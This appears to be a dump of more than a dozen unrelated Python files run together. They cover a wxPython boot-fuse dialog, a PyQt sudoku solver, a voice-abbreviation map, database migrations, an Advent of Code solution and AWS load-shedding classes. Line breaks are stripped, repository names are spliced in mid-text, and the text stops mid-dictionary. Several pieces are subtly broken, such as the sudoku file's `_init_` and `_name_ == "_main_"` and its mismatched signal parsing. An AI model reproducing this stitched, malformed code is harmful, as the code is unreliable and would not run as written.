wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit9.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit9, 0, wx.ALL, 5 ) self.m_staticText_bit8 = wx.StaticText( self, wx.ID_ANY, u"USDHC_IOMUX_SRE_Ena", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit8.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit8, 0, wx.ALL, 5 ) m_choice_bit15Choices = [ u"0 -Reset Low", u"1 -Reset High" ] self.m_choice_bit15 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit15Choices, 0 ) self.m_choice_bit15.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit15, 0, wx.ALL, 5 ) m_choice_bit14Choices = [ u"0", u"1" ] self.m_choice_bit14 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit14Choices, 0 ) self.m_choice_bit14.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit14, 0, wx.ALL, 5 ) m_choice_bit13Choices = [ u"0", u"1" ] self.m_choice_bit13 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit13Choices, 0 ) self.m_choice_bit13.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit13, 0, wx.ALL, 5 ) m_choice_bit12Choices = [ u"0 -no action", u"1 -pull down" ] self.m_choice_bit12 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit12Choices, 0 ) self.m_choice_bit12.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit12, 0, wx.ALL, 5 ) m_choice_bit11Choices = [ u"0 -47K pullup", u"1 -22K pullup" ] self.m_choice_bit11 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit11Choices, 0 ) self.m_choice_bit11.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit11, 0, wx.ALL, 5 ) m_choice_bit10Choices = [ u"0", u"1" ] self.m_choice_bit10 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit10Choices, 0 ) self.m_choice_bit10.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit10, 0, wx.ALL, 5 ) m_choice_bit9Choices = [ u"0 -Disable", u"1 -Enable" ] self.m_choice_bit9 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit9Choices, 0 ) self.m_choice_bit9.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit9, 0, wx.ALL, 5 ) m_choice_bit8Choices = [ u"0 -Disable", u"1 -Enable" ] self.m_choice_bit8 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit8Choices, 0 ) self.m_choice_bit8.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit8, 0, wx.ALL, 5 ) self.m_staticText_bit23 = wx.StaticText( self, wx.ID_ANY, u"USDHC_CMD_OE_PRE_EN", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit23.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit23, 0, wx.ALL, 5 ) self.m_staticText_bit22_21 = wx.StaticText( self, wx.ID_ANY, u"LPB_BOOT", wx.DefaultPosition, wx.Size( 170,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit22_21.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit22_21, 0, wx.ALL, 5 ) self.m_staticText_bit20 = wx.StaticText( self, wx.ID_ANY, u"Reserved", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit20.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit20, 0, wx.ALL, 5 ) self.m_staticText_bit19_16 = wx.StaticText( self, wx.ID_ANY, u"Boot Failure Indicator Pin Select[3:0]", wx.DefaultPosition, wx.Size( 350,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit19_16.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit19_16, 0, wx.ALL, 5 ) m_choice_bit23Choices = [ u"0", u"1" ] self.m_choice_bit23 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit23Choices, 0 ) self.m_choice_bit23.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit23, 0, wx.ALL, 5 ) m_choice_bit22_21Choices = [ u"00 -Div by 1", u"01 -Div by 2", u"10 -Div by 3", u"11 -Div by 4" ] self.m_choice_bit22_21 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 170,-1 ), m_choice_bit22_21Choices, 0 ) self.m_choice_bit22_21.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit22_21, 0, wx.ALL, 5 ) m_choice_bit20Choices = [ u"x" ] self.m_choice_bit20 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit20Choices, 0 ) self.m_choice_bit20.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit20, 0, wx.ALL, 5 ) m_choice_bit19_16Choices = [] self.m_choice_bit19_16 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 350,-1 ), m_choice_bit19_16Choices, 0 ) self.m_choice_bit19_16.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit19_16, 0, wx.ALL, 5 ) self.m_staticText_bit31 = wx.StaticText( self, wx.ID_ANY, u"OverNAND_PadSet", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit31.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit31, 0, wx.ALL, 5 ) self.m_staticText_bit30_24 = wx.StaticText( self, wx.ID_ANY, u"MMC_DLL_DLY[6:0]", wx.DefaultPosition, wx.Size( 620,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit30_24.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit30_24, 0, wx.ALL, 5 ) m_choice_bit31Choices = [ u"0", u"1" ] self.m_choice_bit31 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit31Choices, 0 ) self.m_choice_bit31.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit31, 0, wx.ALL, 5 ) m_choice_bit30_24Choices = [] self.m_choice_bit30_24 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 620,-1 ), m_choice_bit30_24Choices, 0 ) self.m_choice_bit30_24.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit30_24, 0, wx.ALL, 5 ) self.m_staticText_null0BitIdx = wx.StaticText( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 420,-1 ), 0 ) self.m_staticText_null0BitIdx.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_null0BitIdx, 0, wx.ALL, 5 ) self.m_button_ok = wx.Button( self, wx.ID_ANY, u"Ok", wx.DefaultPosition, wx.Size( 100,-1 ), 0 ) wSizer_bitIdx.Add( self.m_button_ok, 0, wx.ALL, 5 ) self.m_button_cancel = wx.Button( self, wx.ID_ANY, u"Cancel", wx.DefaultPosition, wx.Size( 100,-1 ), 0 ) wSizer_bitIdx.Add( self.m_button_cancel, 0, wx.ALL, 5 ) self.m_staticText_null1BitIdx = wx.StaticText( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 720,1 ), 0 ) self.m_staticText_null1BitIdx.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_null1BitIdx, 0, wx.ALL, 5 ) bSizer_bitIdx.Add( wSizer_bitIdx, 1, wx.EXPAND, 5 ) wSizer_win.Add( bSizer_bitIdx, 1, wx.EXPAND, 5 ) self.SetSizer( wSizer_win ) self.Layout() self.Centre( wx.BOTH ) # Connect Events self.Bind( wx.EVT_CLOSE, self.callbackClose ) self.m_button_ok.Bind( wx.EVT_BUTTON, self.callbackOk ) self.m_button_cancel.Bind( wx.EVT_BUTTON, self.callbackCancel ) def __del__( self ): pass # Virtual event handlers, overide them in your derived class def callbackClose( self, event ): event.Skip() def callbackOk( self, event ): event.Skip() def callbackCancel( self, event ): event.Skip() # !/usr/bin/evn python # -*- coding:utf-8 -*- __auther__ = 'sennado' mysqlDb = dict( host = '127.0.0.1', port = '3306', user = 'root', password = '', dbname = 'name', )src/cool_compiler/types/cool_type_build_in_manager.py from .tools import SemanticError import inspect OBJECT_NAME = 'Object' def type_body_def(cls): for n, f in inspect.getmembers(cls, predicate=inspect.ismethod): if n == '__init__': continue if n in cls.__dict__: f() class Singleton(type): _instances = None def __call__(cls, *args, **kwargs): if cls._instances is None: cls._instances = super(Singleton, cls).__call__(*args, **kwargs) return cls._instances def build_in_type(cls): manager = CoolTypeBuildInManager() manager.dictt[cls.__name__] = cls() return cls class CoolTypeBuildInManager(metaclass=Singleton): def __init__(self) -> None: self.dictt = {} def all_inherence_of_object(self): obj = self.dictt[OBJECT_NAME] for key in self.dictt.keys(): if key != OBJECT_NAME and self.dictt[key].parent is None: self.dictt[key].parent = obj def __iter__(self): return self.dictt.__iter__() def find(self, name:str): try: return self.dictt[name] except KeyError: raise SemanticError(f'Type "{name}" is not defined.')# -- coding: utf-8 -- """ Created on Tue Jul 7 20:30:25 2020 IDE : Spyder ANACONDA Distribution @author: """ from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtWidgets import QGridLayout, QLabel, QFrame, QApplication from PyQt5.QtCore import QThread, pyqtSignal import time last_solved_cell = [] values =[[3, 0, 0, 7, 0, 1, 2, 0, 0], [2, 0, 0, 0, 0, 3, 0, 1, 4], [0, 5, 4, 6, 0, 0, 7, 0, 0], [0, 9, 0, 3, 0, 2, 0, 8, 0], [8, 0, 7, 0, 0, 0, 0, 6, 5], [0, 0, 0, 8, 7, 0, 9, 0, 0], [0, 0, 3, 2, 0, 9, 0, 0, 6], [0, 1, 6, 0, 0, 0, 4, 2, 0], [7, 0, 0, 0, 3, 6, 0, 0, 0]] class Ui_ElectKitv1(object): def setupUi(self, ElectKitv1): ElectKitv1.setObjectName("ElectKitv1") ElectKitv1.resize(616, 443) ElectKitv1.setMaximumSize(QtCore.QSize(616, 443)) self.grid_layout = QGridLayout(ElectKitv1) self.current_grid = values self.labels = {} for i in range(len(values)): for j in range(len(values[0])): value = values[i][j] self.labels[(i, j)] = QLabel('label {},{}'.format(i, j)) self.labels[(i,j)].setText(str(value)) self.labels[(i,j)].setFixedSize(80, 80) self.labels[(i,j)].setFrameShape(QFrame.Panel) self.labels[(i,j)].setFrameShadow(QFrame.Sunken) self.labels[(i,j)].setLineWidth(1) self.labels[(i,j)].setAlignment(QtCore.Qt.AlignCenter | QtCore.Qt.AlignVCenter) newfont = QtGui.QFont("Times", 26) self.labels[(i,j)].setFont(newfont) position = (i,j) self.grid_layout.addWidget(self.labels[(i,j)], *position) self.beautify_board() self.retranslateUi(ElectKitv1) QtCore.QMetaObject.connectSlotsByName(ElectKitv1) #self.solve_sudoku() def retranslateUi(self, ElectKitv1): _translate = QtCore.QCoreApplication.translate ElectKitv1.setWindowTitle(_translate("ElectKitv1", "SUDOKU SOLVER")) def beautify_board(self): grey_background = [] for i in range(0,3): for j in range(3,6): grey_background.append((i,j)) for i in range(3,6): for j in range(0,3): grey_background.append((i,j)) for i in range(3,6): for j in range(6,9): grey_background.append((i,j)) for i in range(6,9): for j in range(3,6): grey_background.append((i,j)) for i in range(len(values)): for j in range(len(values[0])): if values[i][j] != 0: if (i,j) in grey_background: self.labels[(i,j)].setStyleSheet("background-color: lightgrey; color: red;") else: self.labels[(i,j)].setStyleSheet("color: red;") else: if (i,j) in grey_background: self.labels[(i,j)].setStyleSheet("background-color: lightgrey; color: blue;") else: self.labels[(i,j)].setStyleSheet("color: blue;") def solve_sudoku(self): self.threadClass = ThreadClass() self.threadClass.signal_value.connect(self.update_board) self.threadClass.start() def update_board(self,signal): print(signal) [a,b,c] = signal.split('_') self.labels[(int(a),int(b))].setText(str(c)) class ThreadClass (QThread): signal_value = pyqtSignal(str) def _init_(self,parent=None): super(ThreadClass,self)._init_(parent) def isSafetoaddinrow(self,grid,row,column,num): if num in grid[row]: return False else: return True def isSafetoaddincol(self,grid,row,column,num): length = len(grid) for i in range(length): if grid[i][column]==num: return False return True def isSafetoaddinbox(self,grid,row,column,num): row_start = 3*int(row/3) col_start = 3*int(column/3) for i in range(row_start,row_start+3): for j in range(col_start,col_start+3): if grid[i][j]==num: return False return True def isSafetoadd(self,grid,row,column,num): sig = str(row)+""+str(column)+""+str(num) time.sleep(0.1) self.signal_value.emit(sig) return self.isSafetoaddinbox(grid,row,column,num) and self.isSafetoaddincol(grid,row,column,num) and self.isSafetoaddinrow(grid,row,column,num) def checkemptyspace(self,grid): for i in range(len(grid)): for j in range(len(grid[0])): if grid[i][j]==0: return (i,j) return (-1,-1) def solvecell(self,grid,row,column,last): if grid[row][column] != 0 and last != 1 : return True for i in range(grid[row][column]+1,10): if (self.isSafetoadd(grid,row,column,i)): grid[row][column] = i last_solved_cell.append((row,column)) return True grid[row][column] = 0 coordinates = last_solved_cell.pop() return (self.solvecell(grid,coordinates[0],coordinates[1],1)) def run(self): row = 0 col = 0 grid = values while (row != -1 or col != -1): if self.solvecell(grid,row,col,0): (row,col) = self.checkemptyspace(grid) if _name_ == "_main_": import sys if not QApplication.instance(): app = QApplication(sys.argv) else: app = QApplication.instance() ElectKitv1 = QtWidgets.QWidget() ui = Ui_ElectKitv1() ui.setupUi(ElectKitv1) ElectKitv1.show() sys.exit(app.exec_())osprey-voice/osprey-community from osprey.voice import Context, insert shrink_map = { 'administrator': 'admin', 'administrators': 'admins', 'allocate': 'alloc', 'alternate': 'alt', 'apartment': 'apt', 'application': 'app', 'applications': 'apps', 'architecture': 'arch', 'argument': 'arg', 'arguments': 'args', 'attribute': 'attr', 'attributes': 'attrs', 'authenticate': 'auth', 'binary': 'bin', 'boolean': 'bool', 'buffer': 'buf', 'button': 'btn', 'calculate': 'calc', 'certificate': 'cert', 'character': 'char', 'column': 'col', 'command': 'cmd', 'compare': 'cmp', 'concatenate': 'concat', 'condition': 'cond', 'configuration': 'config', 'configure': 'config', 'constant': 'const', 'context': 'ctx', 'contribute': 'contrib', 'control': 'ctrl', 'decrement': 'dec', 'define': 'def', 'delete': 'del', 'descending': 'desc', 'destination': 'dest', 'develop': 'dev', 'developer': 'dev', 'development': 'dev', 'dictionary': 'dict', 'different': 'diff', 'directory': 'dir', 'distribution': 'dist', 'divide': 'div', 'divider': 'div', 'division': 'div', 'document': 'doc', 'documents': 'docs', 'else if': 'elif', 'environment': 'env', 'error': 'err', 'escape': 'esc', 'execute': 'exec', 'extend': 'ext', 'extension': 'ext', 'favorite': 'fav', 'format': 'fmt', 'frequency': 'freq', 'function': 'func', 'generation': 'gen', 'generator': 'gen', 'image': 'img', 'implement': 'impl', 'incorporate': 'inc', 'incorporated': 'inc', 'include': 'inc', 'increment': 'inc', 'initialize': 'init', 'integer': 'int', 'iterate': 'iter', 'iterator': 'iter', 'language': 'lang', 'length': 'len', 'library': 'lib', 'line': 'ln', 'memory': 'mem', 'message': 'msg', 'microphone': 'mic', 'minimum': 'min', 'miscellaneous': 'misc', 'navigate': 'nav', 'navigation': 'nav', 'neovim': 'nvim', 'number': 'num', 'object': 'obj', 'operations': 'ops', 'option': 'opt', 'package': 'pkg', 'parameter': 'param', 'parameters': 'params', 'position': 'pos', 'previous': 'prev', 'process': 'proc', 'processes': 'procs', 'production': 'prod', 'psychology': 'psych', 'random': 'rand', 'rectangle': 'rect', 'reference': 'ref', 'references': 'refs', 'repeat': 'rep', 'request': 'req', 'result': 'res', 'return': 'ret', 'revision': 'rev', 'sequence': 'seq', 'source': 'src', 'square root': 'sqrt', 'standard': 'std', 'standard error': 'stderr', 'standard in': 'stdin', 'standard out': 'stdout', 'string': 'str', 'structure': 'struct', 'synchronize': 'sync', 'synchronous': 'sync', 'synthesizer': 'synth', 'system': 'sys', 'temperature': 'temp', 'temporary': 'tmp', 'text': 'txt', 'user': 'usr', 'user id': 'uid', 'utilities': 'utils', 'utility': 'util', 'value': 'val', 'variable': 'var', 'vector': 'vec', 'velocity': 'vel', 'vocabulary': 'vocab', 'volume': 'vol', # months 'January': 'Jan', 'February': 'Feb', 'March': 'Mar', 'April': 'Apr', 'June': 'Jun', 'July': 'Jul', 'August': 'Aug', 'September': 'Sept', 'October': 'Oct', 'November': 'Nov', 'December': 'Dec', # days of the week 'Sunday': 'Sun', 'Monday': 'Mon', 'Tuesday': 'Tue', 'Wednesday': 'Wed', 'Thursday': 'Thu', 'Friday': 'Fri', 'Saturday': 'Sat', } ctx = Context('shrink') ctx.set_commands({ 'shrink ': lambda m: insert(shrink_map[m['shrink']]), 'shrink upper ': lambda m: insert(shrink_map[m['shrink']].capitalize()), 'shrink lower ': lambda m: insert(shrink_map[m['shrink']].lower()), }) ctx.set_choices({ 'shrink': shrink_map.keys(), }) 0 from django.core.management.base import BaseCommand from youths.utils import generate_admin_group class Command(BaseCommand): help = "Seed environment with initial data" def handle(self, *args, **kwargs): self.stdout.write("Creating/updating initial data") self.stdout.write("Generating admin the admin group...") generate_admin_group() self.stdout.write(self.style.SUCCESS("Done - Initial data")) Hiome/core-db from yoyo import step __transactional__ = False step( "DROP TABLE alerts", """ CREATE TABLE alerts ( source text, device_id text, message text, level text, occurred_at timestamp not null default current_timestamp ) """ ) step( """ CREATE TABLE logs ( id bigserial primary key, source text, event_type text, object_type text, object_id text, message text, level text, blob text, occurred_at timestamp not null default current_timestamp ) """, "DROP TABLE logs" ) def marker_index(model, marker_name): try: return [n.to_string() for n in model.markerNames()].index(marker_name) except ValueError: raise ValueError(f"{marker_name} is not in the biorbd model") def segment_index(model, segment_name): try: return [model.segment(i).name().to_string() for i in range(model.nbSegment())].index(segment_name) except ValueError: raise ValueError(f"{segment_name} is not in the biorbd model") #with open("test.txt", "rt") as file: with open("day13.txt", "rt") as file: data = [x for x in file.read().splitlines()] earliest = int(data[0]) buses = [] offset = -1 for b in data[1].split(","): offset += 1 if b == "x": continue buses.append((int(b), offset)) # Part 1 t = earliest keep_going = True while keep_going: for b in buses: if t % b[0] == 0: print ("Part 1", (t-earliest)*b[0]) keep_going = False break t += 1 num_buses = len(buses) # Increment dt = buses[0][0] # Bus 0 is solved, solve for the next bus (bus 1) bus = 1 # could also start at 100000000000000, but it's fast enough t = 0 previous_t = None while (bus < num_buses ): # Find the next t where the bus we're looking at has a solution while (t+buses[bus][1]) % buses[bus][0] != 0: t += dt assert t % buses[0][0]== 0 # If we are at the last bus, we are done and can ust print the time. if bus == num_buses - 1: print ("Part 2", t) break # If we have a previous time, compute the new delta and move onto the next # bus. The rate of change of time continues to increase based on the assumption # the pattern repeats, which was discovered empirically. if previous_t: dt = t - previous_t previous_t = None bus += 1 # Move to the next bus else: # Otherwise we are going to look for another occurence to detect/measure the pattern # Assumption the goal state doesn't occur before the pattern develops. previous_t = t t += dttensorforce/environments/meta_environment.py # Copyright 2017 reinforce.io. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== from __future__ import absolute_import from __future__ import print_function from __future__ import division from tensorforce.environments.environment import Environment from tensorforce.exception import TensorforceError class MetaEnvironment(Environment): """ Base class for unified IO interface """ def __init__(self, config): super(MetaEnvironment, self).__init__() self._parse(config) def _parse(self, config): """ Base class for configuration parsing """ # get the type of IO, # optional params are ('Table','DataHub','Gym','Universe','UserDef') if not 'env_type' in config: raise TensorforceError('can not find env_type in configuration') self.env_type = config['env_type'] if 'env' in config: self.env_conf = config['env'] else: raise TensorforceError('can not find env config') # whether task is in mode of interaction # default mode is non-interaction self.interactive = False if 'interactive' in self.env_conf: self.interactive = self.env_conf['interactive'] def parse_env_config(self): """ IO specific parsing function """ raise NotImplementedError() def get_input_tensor(self): """ Init a dict of single state_input tensor,action tensor,reward tensor or a dict of state_input tensor if multi-states are provided the return will be used to initialize the agent """ raise NotImplementedError() def read(self): """ Read a batch data for model update this method only be used in mode of non-interaction Call execute in mode of interaction """ raise NotImplementedError() def should_stop(self): """ In mode of non-interaction, should_stop() will be called in Runner.consumer() to determine whether to end the trianing loop this method only be used in mode of non-interaction """ raise NotImplementedError()1-10 #!/usr/bin/env python3 #This sample demonstrates detecting tilt without using the I2C bus. #Install LoRa HAT library with "pip3 install turta-lorahat" from time import sleep from turta_lorahat import Turta_Accel #Initialize accel = Turta_Accel.AccelTiltSensor() try: while True: #Read tilt states in one shot tilt_xyz = accel.read_tilt_xyz() #Print the readings print("X-Tilt..........: " + ("Tilt detected." if tilt_xyz[0] else "No tilt.")) print("Y-Tilt..........: " + ("Tilt detected." if tilt_xyz[1] else "No tilt.")) print("Z-Tilt..........: " + ("Tilt detected." if tilt_xyz[2] else "No tilt.")) #Wait print("-----") sleep(0.5) #Exit on CTRL+C except KeyboardInterrupt: print('Bye.') # This is the config file for specifying tables necessary to configure XALT: # The patterns listed here are the hosts that can track executable with XALT. # Typical usage is that compute nodes track executable with XALT while login # nodes do not. import sys # Note that linking an executable is everywhere and is independent of # hostname_patterns hostname_patterns = [ ['KEEP', r'compute.*'] # match all compute nodes ] #------------------------------------------------------------ # This "table" is use to filter executables by their path # The value on the left is either KEEP or SKIP. If the value # is KEEP then if the path matches the regular expression then # the executable is acceptable as far as the path test goes. # If the value on the left is SKIP then if the path matches # the regular expression then executable is not acceptable so # no XALT tracking is done for that path. # This "table" is used to generate a flex routine that processes # the paths. So the regular express must follow flex rules. # In particular, in order to match the pattern must match the whole path # No partial matches allowed. Also do not use $ to match the # end of the string. Finally slash is a special character and must # be quoted with a backslash. # The path are conceptionally matched from the first regular # expression to the last. Once a match is found no other later # matches are checked. The upshot of this is that if you want to # track say /usr/bin/ddt, but ignore everything in /usr, then keep # /usr/bin/ddt first and skip /usr/.* after. # If a path does not match any patterns it is marked as KEEP. # There are special scalar programs that must generate a start record. # These are marked as SPSR path_patterns = [ ['PKGS', r'.*\/python[0-9.]*'], ['PKGS', r'.*\/R'], ['PKGS', r'.*\/test_record_pkg'], ['PKGS', r'.*\/get_XALT_env'], ] # Here are patterns for non-mpi programs to produce a start-record. # Normally non-mpi programs (a.k.a.) scalar executables only produce # an end-record, but programs like R and python that can have optional data # such as R and python must have a start-record. scalar_prgm_start_record = [ r'/python[0-9][^/][^/]*$', r'/R$' ] #------------------------------------------------------------ # XALT filter environment variables. Those variables # which pass through the filter are save in an SQL table that is # searchable via sql commands. The environment variables are passed # to this filter routine as: # # env_key=env_value # # So the regular expression patterns must match the whole string. # The value on the left is either KEEP or SKIP. If the value # is KEEP then if the environment string matches the regular # expression then the variable is stored. If the value on the left # is SKIP then if the variable matches it is not stored. # Order of the list matters. The first match is used even if a # later pattern would also match. The upshot is that special pattern # matches should appear first and general ones later. # If the environment string does not match any pattern then it is # marked as SKIP. env_patterns = [ [ 'KEEP', r'^OMP_NUM_THREADS=.*' ], [ 'KEEP', r'^OMP.*'], [ 'KEEP', r'^PATH=.*'], [ 'KEEP', r'^PYTHON.*'], [ 'KEEP', r'^R_.*'], ] #------------------------------------------------------------ # XALT samples almost all executions (both MPI and scalar) # based on this table below. Note that an MPI execution is where # the number of tasks is greater than 1. There is no check to # see if there are MPI libraries in the executable. Note that # the number of tasks are MPI tasks not threads. # Any time there are a number of short rapid executions these # have to be sampled. However, there are MPI executions with large # number of tasks that are always recorded. This is to allow the # tracking of long running MPI tasks that never produce an end # record. By default MPI_ALWAYS_RECORD = 2. Namely that all MPI tasks are # recorded. MPI_ALWAYS_RECORD = 2 # # The array of array used by interval_array has the following # structure: # # interval_array = [ # [ t_0, probability_0], # [ t_1, probability_1], # ... # [ t_n, probability_n], # [ 1.0e308, 1.0], # # # The first number is the left edge of the time range. The # second number is the probability of being sampled. Where a # probability of 1.0 means a 100% chance of being recorded and a # value of 0.01 means a 1% chance of being recorded. # # So a table that looks like this: # interval_array = [ # [ 0.0, 0.0001 ], # [ 300.0, 0.01 ], # [ 600.0, 1.0 ], # [ sys.float_info.max, 1.0 ] # ] # # would say that program with execution time that is between # 0.0 and 300.0 seconds has a 0.01% chance of being recorded. # Execution times between 300.0 and 600.0 seconds have a 1% # chance of being recorded and and programs that take longer # than 600 seconds will always be recorded. # # The absolute minimum table would look like: # # interval_array = [ # [ 0.0, 1.0 ], # [ sys.float_info.max, 1.0 ] # ] # # which says to record every scalar (non-mpi) program no matter # the execution time. # # Note that scalar execution only uses this table IFF # $XALT_SCALAR_AND_SPSR_SAMPLING equals yes interval_array = [ [ 0.0, 1.0 ], [ sys.float_info.max, 1.0 ] ] mpi_interval_array = [ [ 0.0, 1.0 ], [ sys.float_info.max, 1.0 ] ] #------------------------------------------------------------ # Python pattern for python package tracking # NOTE: This is likely to be an added feature in XALT3, not implemented yet # Note that sys, os, re, and subprocess can not be tracked due to the way that python tracking works. #python_pkg_patterns = [ # { 'k_s' : 'KEEP', 'kind' : 'path', 'patt' : r".*/site-packages/" }, # KEEP all built-in packages # { 'k_s' : 'KEEP', 'kind' : 'name', 'patt' : r"^_" }, # KEEP names that start with a underscore # { 'k_s' : 'KEEP', 'kind' : 'name', 'patt' : r".*\." }, # KEEP all names that are divided with periods: a.b.c # { 'k_s' : 'KEEP', 'kind' : 'path', 'patt' : r".*/.local/" }, # KEEP all packages installed by users # { 'k_s' : 'KEEP', 'kind' : 'path', 'patt' : r"^/home" }, # KEEP all other packages in user locations # { 'k_s' : 'KEEP', 'kind' : 'path', 'patt' : r"^/data" }, # KEEP all other packages in user locations #] zonca/iris_pipeline from .model_base import TMTDataModel __all__ = ["TMTRampModel"] class TMTRampModel(TMTDataModel): """ A data model for 4D ramps. Parameters __________ data : numpy float32 array The science data pixeldq : numpy uint32 array 2-D data quality array for all planes groupdq : numpy uint8 array 4-D data quality array for each plane err : numpy float32 array Error array zeroframe : numpy float32 array Zeroframe array group : numpy table group parameters table int_times : numpy table table of times for each integration """ schema_url = "tmt_ramp.schema.yaml" def __init__(self, init=None, **kwargs): super().__init__(init=init, **kwargs) # Implicitly create arrays self.pixeldq = self.pixeldq self.groupdq = self.groupdq self.err = self.err from sqlalchemy import create_engine from sqlalchemy.orm import scoped_session from sqlalchemy.orm import sessionmaker session = None session_obj = None def _get_db_session_obj(database_url): global session_obj session_obj = sessionmaker(bind=create_engine(database_url)) return session_obj def get_session(database_url=None): db_session_obj = _get_db_session_obj(database_url) global session session = scoped_session(db_session_obj) return session aws-samples/aws-alb-target-group-load-shedding1-10 from enum import Enum class CWAlarmState(Enum): OK = 0 ALARM = 1 INSUFFICIENT_DATA = 2 class ALBAlarmAction(Enum): NONE = 1 SHED = 2 RESTORE = 3 class ALBAlarmEvent: def __init__(self, alarm_event_id: str, alarm_arn: str, alarm_name: str, cw_alarm_state: CWAlarmState) -> None: self.alarm_event_id = alarm_event_id self.alarm_arn = alarm_arn self.alarm_name = alarm_name self.cw_alarm_state = cw_alarm_state class ALBAlarmStatusMessage: @classmethod def from_json(self, message: dict) -> 'ALBAlarmStatusMessage': alb_alarm_status_message = ALBAlarmStatusMessage( cw_alarm_arn=message['alarmArn'], cw_alarm_name=message['alarmName'], load_balancer_arn=message['loadBalancerArn'], elb_listener_arn=message['elbListenerArn'], target_group_arn=message['targetGroupArn'], sqs_queue_url=message['sqsQueueURL'], shed_mesg_delay_sec=message['shedMesgDelaySec'], restore_mesg_delay_sec=message['restoreMesgDelaySec'], elb_shed_percent=message['elbShedPercent'], max_elb_shed_percent=message['maxElbShedPercent'], elb_restore_percent=message['elbRestorePercent'], alb_alarm_action=ALBAlarmAction[message['albAlarmAction']] ) return alb_alarm_status_message def __init__( self, cw_alarm_arn: str, cw_alarm_name: str, load_balancer_arn: str, elb_listener_arn: str, target_group_arn: str, sqs_queue_url: str, shed_mesg_delay_sec: int, restore_mesg_delay_sec: int, elb_shed_percent: int, max_elb_shed_percent: int, elb_restore_percent: int, alb_alarm_action: ALBAlarmAction ) -> None: self.cw_alarm_arn = cw_alarm_arn self.cw_alarm_name = cw_alarm_name self.load_balancer_arn = load_balancer_arn self.elb_listener_arn = elb_listener_arn self.elb_shed_percent = elb_shed_percent self.max_elb_shed_percent = max_elb_shed_percent self.elb_restore_percent = elb_restore_percent self.target_group_arn = target_group_arn self.sqs_queue_url = sqs_queue_url self.shed_mesg_delay_sec = shed_mesg_delay_sec self.restore_mesg_delay_sec = restore_mesg_delay_sec self.alb_alarm_action = alb_alarm_action def to_json(self) -> list: message = { 'albAlarmAction': self.alb_alarm_action.name, 'alarmArn': self.cw_alarm_arn, 'alarmName': self.cw_alarm_name, 'elbListenerArn': self.elb_listener_arn, 'elbShedPercent': self.elb_shed_percent, 'maxElbShedPercent': self.max_elb_shed_percent, 